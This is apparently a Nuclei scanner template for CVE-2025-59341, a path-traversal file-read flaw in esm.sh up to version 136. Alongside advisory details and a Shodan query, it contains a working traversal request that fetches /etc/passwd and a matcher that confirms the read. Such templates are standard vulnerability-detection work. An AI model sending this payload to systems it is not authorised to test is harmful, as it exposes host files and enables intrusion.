id: CVE-2025-59341 info: name: esm.sh <= v136 - Local File Inclusion author: 0x_Akoko severity: high description: | esm.sh <= 136 contains a local file inclusion caused by improper URL handling, letting attackers read arbitrary files from the host filesystem remotely, exploit requires crafted request. impact: | Attackers can read arbitrary files from the server, potentially exposing sensitive information. remediation: | Update esm.sh to a version later than 136 or the latest available version. reference: - https://github.com/esm-dev/esm.sh/security/advisories/GHSA-49pv-gwxp-532r - https://github.com/esm-dev/esm.sh/blob/c62f191d32639314ff0525d1c3c0e19ea2b16143/server/router.go#L1168 - https://nvd.nist.gov/vuln/detail/CVE-2025-59341 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N cvss-score: 7.5 cve-id: CVE-2025-59341 cwe-id: CWE-23 epss-score: 0.01527 epss-percentile: 0.72075 metadata: verified: true max-request: 2 vendor: esm-dev product: esm.sh shodan-query: http.html:"esm.sh" tags: cve,cve2025,esm,lfi,traversal flow: http(1) && http(2) http: - raw: - | GET / HTTP/1.1 Host: {{Hostname}} matchers: - type: dsl dsl: - status_code == 200 - contains_any(body, "esm.sh", "A no-build JavaScript CDN", "import React from") condition: and internal: true - raw: - | GET /pr/x/y@99/../../../../../../../../../../etc/passwd?raw=1&module=1 HTTP/1.1 Host: {{Hostname}} matchers-condition: and matchers: - type: regex part: body regex: - "root:.*:0:0:" - type: status status: - 200 # digest: 4b0a00483046022100ad59e147a1e37432477ab822bf1535eed3e05b99dadad669ac2d08a7813a9567022100d1ce00398422e3826639ec37d474ba6c0c914c14c31cc3ba2623545e6f4a16a4:922c64590222798bb761d5b6d8e72950